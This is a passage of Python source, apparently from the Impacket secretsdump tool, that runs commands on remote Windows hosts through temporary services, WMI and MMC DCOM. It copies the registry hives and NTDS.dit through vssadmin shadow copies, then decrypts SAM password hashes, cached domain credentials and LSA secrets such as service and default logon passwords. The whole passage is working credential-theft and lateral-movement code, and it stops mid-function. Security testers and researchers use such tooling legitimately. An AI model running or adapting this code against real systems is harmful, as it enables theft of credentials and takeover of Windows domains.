789 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'

790 ans = rrp.hOpenLocalMachine(self.__rrp)

791 regHandle = ans['phKey']

792 try:

793 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)

794 except:

795 raise Exception("Can't open %s hive" % hiveName)

796 keyHandle = ans['phkResult']

797 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)

798 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

799 rrp.hBaseRegCloseKey(self.__rrp, regHandle)

800 # Now let's open the remote file, so it can be read later

801 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)

802 return remoteFileName

803

804 def saveSAM(self):

805 LOG.debug('Saving remote SAM database')

806 return self.__retrieveHive('SAM')

807

808 def saveSECURITY(self):

809 LOG.debug('Saving remote SECURITY database')

810 return self.__retrieveHive('SECURITY')

811

812 def __smbExec(self, command):

813 self.__serviceDeleted = False

814 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,

815 lpBinaryPathName=command)

816 service = resp['lpServiceHandle']

817 try:

818 scmr.hRStartServiceW(self.__scmr, service)

819 except:

820 pass

821 scmr.hRDeleteService(self.__scmr, service)

822 self.__serviceDeleted = True

823 scmr.hRCloseServiceHandle(self.__scmr, service)

824

825 def __getInterface(self, interface, resp):

826 # Now let's parse the answer and build an Interface instance

827 objRefType = OBJREF(b''.join(resp))['flags']

828 objRef = None

829 if objRefType == FLAGS_OBJREF_CUSTOM:

830 objRef = OBJREF_CUSTOM(b''.join(resp))

831 elif objRefType == FLAGS_OBJREF_HANDLER:

832 objRef = OBJREF_HANDLER(b''.join(resp))

833 elif objRefType == FLAGS_OBJREF_STANDARD:

834 objRef = OBJREF_STANDARD(b''.join(resp))

835 elif objRefType == FLAGS_OBJREF_EXTENDED:

836 objRef = OBJREF_EXTENDED(b''.join(resp))

837 else:

838 logging.error("Unknown OBJREF Type! 0x%x" % objRefType)

839

840 return IRemUnknown2(

841 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],

842 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],

843 target=interface.get_target()))

844

845 def __mmcExec(self,command):

846 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')

847 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()

848 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,

849 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)

850 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)

851 iMMC = IDispatch(iInterface)

852

853 resp = iMMC.GetIDsOfNames(('Document',))

854

855 dispParams = DISPPARAMS(None, False)

856 dispParams['rgvarg'] = NULL

857 dispParams['rgdispidNamedArgs'] = NULL

858 dispParams['cArgs'] = 0

859 dispParams['cNamedArgs'] = 0

860 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

861

862 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

863 resp = iDocument.GetIDsOfNames(('ActiveView',))

864 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

865

866 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

867 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]

868

869 pQuit = iMMC.GetIDsOfNames(('Quit',))[0]

870

871 dispParams = DISPPARAMS(None, False)

872 dispParams['rgdispidNamedArgs'] = NULL

873 dispParams['cArgs'] = 4

874 dispParams['cNamedArgs'] = 0

875 arg0 = VARIANT(None, False)

876 arg0['clSize'] = 5

877 arg0['vt'] = VARENUM.VT_BSTR

878 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR

879 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'

880

881 arg1 = VARIANT(None, False)

882 arg1['clSize'] = 5

883 arg1['vt'] = VARENUM.VT_BSTR

884 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR

885 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'

886

887 arg2 = VARIANT(None, False)

888 arg2['clSize'] = 5

889 arg2['vt'] = VARENUM.VT_BSTR

890 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR

891 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]

892

893 arg3 = VARIANT(None, False)

894 arg3['clSize'] = 5

895 arg3['vt'] = VARENUM.VT_BSTR

896 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR

897 arg3['_varUnion']['bstrVal']['asData'] = '7'

898 dispParams['rgvarg'].append(arg3)

899 dispParams['rgvarg'].append(arg2)

900 dispParams['rgvarg'].append(arg1)

901 dispParams['rgvarg'].append(arg0)

902

903 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])

904

905 dispParams = DISPPARAMS(None, False)

906 dispParams['rgvarg'] = NULL

907 dispParams['rgdispidNamedArgs'] = NULL

908 dispParams['cArgs'] = 0

909 dispParams['cNamedArgs'] = 0

910

911 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])

912

913

914 def __wmiExec(self, command):

915 # Convert command to wmi exec friendly format

916 command = command.replace('%COMSPEC%', 'cmd.exe')

917 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()

918 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,

919 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)

920 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)

921 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)

922 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)

923 iWbemLevel1Login.RemRelease()

924

925 win32Process,_ = iWbemServices.GetObject('Win32_Process')

926 win32Process.Create(command, '\\', None)

927

928 dcom.disconnect()

929

930 def __executeRemote(self, data):

931 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])

932 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \

933 self.__shell + self.__batchFile

934 command += ' & ' + 'del ' + self.__batchFile

935

936 LOG.debug('ExecuteRemote command: %s' % command)

937 if self.__execMethod == 'smbexec':

938 self.__smbExec(command)

939 elif self.__execMethod == 'wmiexec':

940 self.__wmiExec(command)

941 elif self.__execMethod == 'mmcexec':

942 self.__mmcExec(command)

943 else:

944 raise Exception('Invalid exec method %s, aborting' % self.__execMethod)

945

946

947 def __answer(self, data):

948 self.__answerTMP += data

949

950 def __getLastVSS(self, forDrive=None):

951 if forDrive:

952 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive

953 else:

954 command = '%COMSPEC% /C vssadmin list shadows'

955 self.__executeRemote(command)

956 time.sleep(5)

957 tries = 0

958 while True:

959 try:

960 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)

961 break

962 except Exception as e:

963 if tries > 30:

964 # We give up

965 raise Exception('Too many tries trying to list vss shadows')

966 if str(e).find('SHARING') > 0:

967 # Stuff didn't finish yet.. wait more

968 time.sleep(5)

969 tries +=1

970 pass

971 else:

972 raise

973

974 lines = self.__answerTMP.split(b'\n')

975 lastShadow = b''

976 lastShadowFor = b''

977 lastShadowId = b''

978

979 # Let's find the last one

980 # The string used to search the shadow for drive. Wondering what happens

981 # in other languages

982 SHADOWFOR = b'Volume: ('

983 IDSTART = b'Shadow Copy ID: {'

984 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')

985

986 for line in lines:

987 if line.find(b'GLOBALROOT') > 0:

988 lastShadow = line[line.find(b'\\\\?'):][:-1]

989 elif line.find(SHADOWFOR) > 0:

990 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]

991 elif line.find(IDSTART) > 0:

992 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]

993

994 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

995

996 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))

997

998 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')

999

1000 def saveNTDS(self):

1001 LOG.info('Searching for NTDS.dit')

1002 # First of all, let's try to read the target NTDS.dit registry entry

1003 ans = rrp.hOpenLocalMachine(self.__rrp)

1004 regHandle = ans['phKey']

1005 try:

1006 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')

1007 keyHandle = ans['phkResult']

1008 except:

1009 # Can't open the registry path, assuming no NTDS on the other end

1010 return None

1011

1012 try:

1013 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')

1014 ntdsLocation = dataValue[:-1]

1015 ntdsDrive = ntdsLocation[:2]

1016 except:

1017 # Can't open the registry path, assuming no NTDS on the other end

1018 return None

1019

1020 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

1021 rrp.hBaseRegCloseKey(self.__rrp, regHandle)

1022

1023 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)

1024 LOG.info('Using %s method for remote execution' % self.__execMethod)

1025 # Get the list of remote shadows

1026 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)

1027 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):

1028 # No shadow, create one

1029 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)

1030 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)

1031 shouldRemove = True

1032 if shadow == '' or shadowFor != ntdsDrive:

1033 raise Exception('Could not get a VSS')

1034 else:

1035 # There was already a shadow, let's not delete this

1036 shouldRemove = False

1037

1038 # Now copy the ntds.dit to the temp directory

1039 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'

1040

1041 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

1042

1043 if shouldRemove is True:

1044 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)

1045 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)

1046

1047

1048 tries = 0

1049 while True:

1050 try:

1051 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

1052 break

1053 except Exception as e:

1054 if tries >= 30:

1055 raise e

1056 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:

1057 tries += 1

1058 time.sleep(5)

1059 pass

1060 else:

1061 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))

1062 pass

1063

1064 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

1065

1066 return remoteFileName

1067

1068 class CryptoCommon:

1069 # Common crypto stuff used over different classes

1070 def deriveKey(self, baseKey):

1071 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key

1072 # Let I be the little-endian, unsigned integer.

1073 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.

1074 # Note that because I is in little-endian byte order, I[0] is the least significant byte.

1075 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].

1076 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]

1077 key = pack('<L',baseKey)

1078 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]

1079 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]

1080 if PY2:

1081 return transformKey(b''.join(key1)),transformKey(b''.join(key2))

1082 else:

1083 return transformKey(bytes(key1)),transformKey(bytes(key2))

1084

1085 @staticmethod

1086 def decryptAES(key, value, iv=b'\x00'*16):

1087 plainText = b''

1088 if iv != b'\x00'*16:

1089 aes256 = AES.new(key,AES.MODE_CBC, iv)

1090

1091 for index in range(0, len(value), 16):

1092 if iv == b'\x00'*16:

1093 aes256 = AES.new(key,AES.MODE_CBC, iv)

1094 cipherBuffer = value[index: index+16]

1095 # Pad buffer to 16 bytes

1096 if len(cipherBuffer) < 16:

1097 cipherBuffer += b'\x00' * (16-len(cipherBuffer))

1098 plainText += aes256.decrypt(cipherBuffer)

1099

1100 return plainText

1101

1102

1103 class OfflineRegistry:

1104 def __init__(self, hiveFile = None, isRemote = False):

1105 self.__hiveFile = hiveFile

1106 if self.__hiveFile is not None:

1107 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)

1108

1109 def enumKey(self, searchKey):

1110 parentKey = self.__registryHive.findKey(searchKey)

1111

1112 if parentKey is None:

1113 return

1114

1115 keys = self.__registryHive.enumKey(parentKey)

1116

1117 return keys

1118

1119 def enumValues(self, searchKey):

1120 key = self.__registryHive.findKey(searchKey)

1121

1122 if key is None:

1123 return

1124

1125 values = self.__registryHive.enumValues(key)

1126

1127 return values

1128

1129 def getValue(self, keyValue):

1130 value = self.__registryHive.getValue(keyValue)

1131

1132 if value is None:

1133 return

1134

1135 return value

1136

1137 def getClass(self, className):

1138 value = self.__registryHive.getClass(className)

1139

1140 if value is None:

1141 return

1142

1143 return value

1144

1145 def finish(self):

1146 if self.__hiveFile is not None:

1147 # Remove temp file and whatever else is needed

1148 self.__registryHive.close()

1149

1150 class SAMHashes(OfflineRegistry):

1151 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):

1152 OfflineRegistry.__init__(self, samFile, isRemote)

1153 self.__samFile = samFile

1154 self.__hashedBootKey = b''

1155 self.__bootKey = bootKey

1156 self.__cryptoCommon = CryptoCommon()

1157 self.__itemsFound = {}

1158 self.__perSecretCallback = perSecretCallback

1159

1160 def MD5(self, data):

1161 md5 = hashlib.new('md5')

1162 md5.update(data)

1163 return md5.digest()

1164

1165 def getHBootKey(self):

1166 LOG.debug('Calculating HashedBootKey from SAM')

1167 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"

1168 DIGITS = b"0123456789012345678901234567890123456789\0"

1169

1170 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]

1171

1172 domainData = DOMAIN_ACCOUNT_F(F)

1173

1174 if domainData['Key0'][0:1] == b'\x01':

1175 samKeyData = SAM_KEY_DATA(domainData['Key0'])

1176

1177 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)

1178 rc4 = ARC4.new(rc4Key)

1179 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])

1180

1181 # Verify key with checksum

1182 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)

1183

1184 if checkSum != self.__hashedBootKey[16:]:

1185 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')

1186

1187 elif domainData['Key0'][0:1] == b'\x02':

1188 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)

1189 samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])

1190

1191 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,

1192 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])

1193

1194 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):

1195 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key

1196 # plus hashedBootKey stuff

1197 Key1,Key2 = self.__cryptoCommon.deriveKey(rid)

1198

1199 Crypt1 = DES.new(Key1, DES.MODE_ECB)

1200 Crypt2 = DES.new(Key2, DES.MODE_ECB)

1201

1202 if newStyle is False:

1203 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )

1204 rc4 = ARC4.new(rc4Key)

1205 key = rc4.encrypt(cryptedHash['Hash'])

1206 else:

1207 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]

1208

1209 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])

1210

1211 return decryptedHash

1212

1213 def dump(self):

1214 NTPASSWORD = b"NTPASSWORD\0"

1215 LMPASSWORD = b"LMPASSWORD\0"

1216

1217 if self.__samFile is None:

1218 # No SAM file provided

1219 return

1220

1221 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')

1222 self.getHBootKey()

1223

1224 usersKey = 'SAM\\Domains\\Account\\Users'

1225

1226 # Enumerate all the RIDs

1227 rids = self.enumKey(usersKey)

1228 # Remove the Names item

1229 try:

1230 rids.remove('Names')

1231 except:

1232 pass

1233

1234 for rid in rids:

1235 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])

1236 rid = int(rid,16)

1237

1238 V = userAccount['Data']

1239

1240 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')

1241

1242 if userAccount['NTHashLength'] == 0:

1243 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)

1244 continue

1245

1246 encNTHash = b''

1247 if V[userAccount['NTHashOffset']:][2:3] == b'\x01':

1248 # Old Style hashes

1249 newStyle = False

1250 if userAccount['LMHashLength'] == 20:

1251 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])

1252 if userAccount['NTHashLength'] == 20:

1253 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

1254 else:

1255 # New Style hashes

1256 newStyle = True

1257 if userAccount['LMHashLength'] == 24:

1258 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])

1259 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

1260

1261 LOG.debug('NewStyle hashes is: %s' % newStyle)

1262 if userAccount['LMHashLength'] >= 20:

1263 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)

1264 else:

1265 lmHash = b''

1266

1267 if encNTHash != b'':

1268 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)

1269 else:

1270 ntHash = b''

1271

1272 if lmHash == b'':

1273 lmHash = ntlm.LMOWFv1('','')

1274 if ntHash == b'':

1275 ntHash = ntlm.NTOWFv1('','')

1276

1277 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))

1278 self.__itemsFound[rid] = answer

1279 self.__perSecretCallback(answer)

1280

1281 def export(self, baseFileName, openFileFunc = None):

1282 if len(self.__itemsFound) > 0:

1283 items = sorted(self.__itemsFound)

1284 fileName = baseFileName+'.sam'

1285 fd = openFile(fileName, openFileFunc=openFileFunc)

1286 for item in items:

1287 fd.write(self.__itemsFound[item]+'\n')

1288 fd.close()

1289 return fileName

1290

1291 class LSASecrets(OfflineRegistry):

1292 UNKNOWN_USER = '(Unknown User)'

1293 class SECRET_TYPE:

1294 LSA = 0

1295 LSA_HASHED = 1

1296 LSA_RAW = 2

1297 LSA_KERBEROS = 3

1298

1299 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,

1300 perSecretCallback=lambda secretType, secret: _print_helper(secret)):

1301 OfflineRegistry.__init__(self, securityFile, isRemote)

1302 self.__hashedBootKey = b''

1303 self.__bootKey = bootKey

1304 self.__LSAKey = b''

1305 self.__NKLMKey = b''

1306 self.__vistaStyle = True

1307 self.__cryptoCommon = CryptoCommon()

1308 self.__securityFile = securityFile

1309 self.__remoteOps = remoteOps

1310 self.__cachedItems = []

1311 self.__secretItems = []

1312 self.__perSecretCallback = perSecretCallback

1313 self.__history = history

1314

1315 def MD5(self, data):

1316 md5 = hashlib.new('md5')

1317 md5.update(data)

1318 return md5.digest()

1319

1320 def __sha256(self, key, value, rounds=1000):

1321 sha = hashlib.sha256()

1322 sha.update(key)

1323 for i in range(1000):

1324 sha.update(value)

1325 return sha.digest()

1326

1327 def __decryptSecret(self, key, value):

1328 # [MS-LSAD] Section 5.1.2

1329 plainText = b''

1330

1331 encryptedSecretSize = unpack('<I', value[:4])[0]

1332 value = value[len(value)-encryptedSecretSize:]

1333

1334 key0 = key

1335 for i in range(0, len(value), 8):

1336 cipherText = value[:8]

1337 tmpStrKey = key0[:7]

1338 tmpKey = transformKey(tmpStrKey)

1339 Crypt1 = DES.new(tmpKey, DES.MODE_ECB)

1340 plainText += Crypt1.decrypt(cipherText)

1341 key0 = key0[7:]

1342 value = value[8:]

1343 # AdvanceKey

1344 if len(key0) < 7:

1345 key0 = key[len(key0):]

1346

1347 secret = LSA_SECRET_XP(plainText)

1348 return secret['Secret']

1349

1350 def __decryptHash(self, key, value, iv):

1351 hmac_md5 = HMAC.new(key,iv,MD5)

1352 rc4key = hmac_md5.digest()

1353

1354 rc4 = ARC4.new(rc4key)

1355 data = rc4.encrypt(value)

1356 return data

1357

1358 def __decryptLSA(self, value):

1359 if self.__vistaStyle is True:

1360 # ToDo: There could be more than one LSA Keys

1361 record = LSA_SECRET(value)

1362 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])

1363 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1364 record = LSA_SECRET_BLOB(plainText)

1365 self.__LSAKey = record['Secret'][52:][:32]

1366

1367 else:

1368 md5 = hashlib.new('md5')

1369 md5.update(self.__bootKey)

1370 for i in range(1000):

1371 md5.update(value[60:76])

1372 tmpKey = md5.digest()

1373 rc4 = ARC4.new(tmpKey)

1374 plainText = rc4.decrypt(value[12:60])

1375 self.__LSAKey = plainText[0x10:0x20]

1376

1377 def __getLSASecretKey(self):

1378 LOG.debug('Decrypting LSA Key')

1379 # Let's try the key post XP

1380 value = self.getValue('\\Policy\\PolEKList\\default')

1381 if value is None:

1382 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')

1383 # Second chance

1384 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')

1385 self.__vistaStyle = False

1386 if value is None:

1387 # No way :(

1388 return None

1389

1390 self.__decryptLSA(value[1])

1391

1392 def __getNLKMSecret(self):

1393 LOG.debug('Decrypting NL$KM')

1394 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')

1395 if value is None:

1396 raise Exception("Couldn't get NL$KM value")

1397 if self.__vistaStyle is True:

1398 record = LSA_SECRET(value[1])

1399 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])

1400 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1401 else:

1402 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])

1403

1404 def __pad(self, data):

1405 if (data & 0x3) > 0:

1406 return data + (data & 0x3)

1407 else:

1408 return data

1409

1410 def dumpCachedHashes(self):

1411 if self.__securityFile is None:

1412 # No SECURITY file provided

1413 return

1414

1415 LOG.info('Dumping cached domain logon information (domain/username:hash)')

1416

1417 # Let's first see if there are cached entries

1418 values = self.enumValues('\\Cache')

1419 if values is None:

1420 # No cache entries

1421 return

1422 try:

1423 # Remove unnecessary value

1424 values.remove(b'NL$Control')

1425 except:

1426 pass

1427

1428 iterationCount = 10240

1429

1430 if b'NL$IterationCount' in values:

1431 values.remove(b'NL$IterationCount')

1432

1433 record = self.getValue('\\Cache\\NL$IterationCount')[1]

1434 if record > 10240:

1435 iterationCount = record & 0xfffffc00

1436 else:

1437 iterationCount = record * 1024

1438

1439 self.__getLSASecretKey()

1440 self.__getNLKMSecret()

1441

1442 for value in values:

1443 LOG.debug('Looking into %s' % value.decode('utf-8'))

1444 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])

1445 if record['IV'] != 16 * b'\x00':

1446 #if record['UserLength'] > 0:

1447 if record['Flags'] & 1 == 1:

1448 # Encrypted

1449 if self.__vistaStyle is True:

1450 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])

1451 else:

1452 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])

1453 pass

1454 else:

1455 # Plain! Until we figure out what this is, we skip it

1456 #plainText = record['EncryptedData']

1457 continue

1458 encHash = plainText[:0x10]

1459 plainText = plainText[0x48:]

1460 userName = plainText[:record['UserLength']].decode('utf-16le')

1461 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]

1462 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')

1463

1464 if self.__vistaStyle is True:

1465 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))

1466 else:

1467 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)

1468

1469 self.__cachedItems.append(answer)

1470 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)

1471

1472 def __printSecret(self, name, secretItem):

1473 # Based on [MS-LSAD] section 3.1.1.4

1474

1475 # First off, let's discard NULL secrets.

1476 if len(secretItem) == 0:

1477 LOG.debug('Discarding secret %s, NULL Data' % name)

1478 return

1479

1480 # We might have secrets with zero

1481 if secretItem.startswith(b'\x00\x00'):

1482 LOG.debug('Discarding secret %s, all zeros' % name)

1483 return

1484

1485 upperName = name.upper()

1486

1487 LOG.info('%s ' % name)

1488

1489 secret = ''

1490

1491 if upperName.startswith('_SC_'):

1492 # Service name, a password might be there

1493 # Let's first try to decode the secret

1494 try:

1495 strDecoded = secretItem.decode('utf-16le')

1496 except:

1497 pass

1498 else:

1499 # We have to get the account the service

1500 # runs under

1501 if hasattr(self.__remoteOps, 'getServiceAccount'):

1502 account = self.__remoteOps.getServiceAccount(name[4:])

1503 if account is None:

1504 secret = self.UNKNOWN_USER + ':'

1505 else:

1506 secret = "%s:" % account

1507 else:

1508 # We don't support getting this info for local targets at the moment

1509 secret = self.UNKNOWN_USER + ':'

1510 secret += strDecoded

1511 elif upperName.startswith('DEFAULTPASSWORD'):

1512 # defaults password for winlogon

1513 # Let's first try to decode the secret

1514 try:

1515 strDecoded = secretItem.decode('utf-16le')

1516 except:

1517 pass

1518 else:

1519 # We have to get the account this password is for

1520 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):

1521 account = self.__remoteOps.getDefaultLoginAccount()

1522 if account is None:

1523 secret = self.UNKNOWN_USER + ':'

1524 else:

1525 secret = "%s:" % account

1526 else:

1527 # We don't support getting this info for local targets at the moment

1528 secret = self.UNKNOWN_USER + ':'

1529 secret += strDecoded

1530 elif upperName.startswith('ASPNET_WP_PASSWORD'):

1531 try:

1532 strDecoded = secretItem.decode('utf-16le')

1533 except:

1534 pass

1535 else:

1536 secret = 'ASPNET: %s' % strDecoded

1537 elif upperName.startswith('DPAPI_SYSTEM'):

1538 # Decode the DPAPI Secrets

1539 dpapi = DPAPI_SYSTEM(secretItem)

1540 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),

1541 hexlify(dpapi['UserKey']).decode('latin-1'))

1542 elif upperName.startswith('$MACHINE.ACC'):

1543 # compute MD4 of the secret.. yes.. that is the nthash? :-o

1544 md4 = MD4.new()

1545 md4.update(secretItem)

1546 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):

1547 machine, domain = self.__remoteOps.getMachineNameAndDomain()

1548 printname = "%s\\%s$" % (domain, machine)

1549 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),

1550 hexlify(md4.digest()).decode('utf-8'))

1551 else:

1552 printname = "$MACHINE.ACC"

1553 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),

1554 hexlify(md4.digest()).decode('utf-8'))

1555 # Attempt to calculate and print Kerberos keys

1556 if not self.__printMachineKerberos(secretItem, printname):

1557 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')

1558 # Always print plaintext anyway since this may be needed for some popular usecases

1559 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))

1560 self.__secretItems.append(extrasecret)

1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)

1562 elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:

1563 # Decode stored security questions

1564 sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)

1565 try:

1566 strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')

1567 strDecoded = json.loads(strDecoded)

1568 except:

1569 pass

1570 else:

1571 output = []

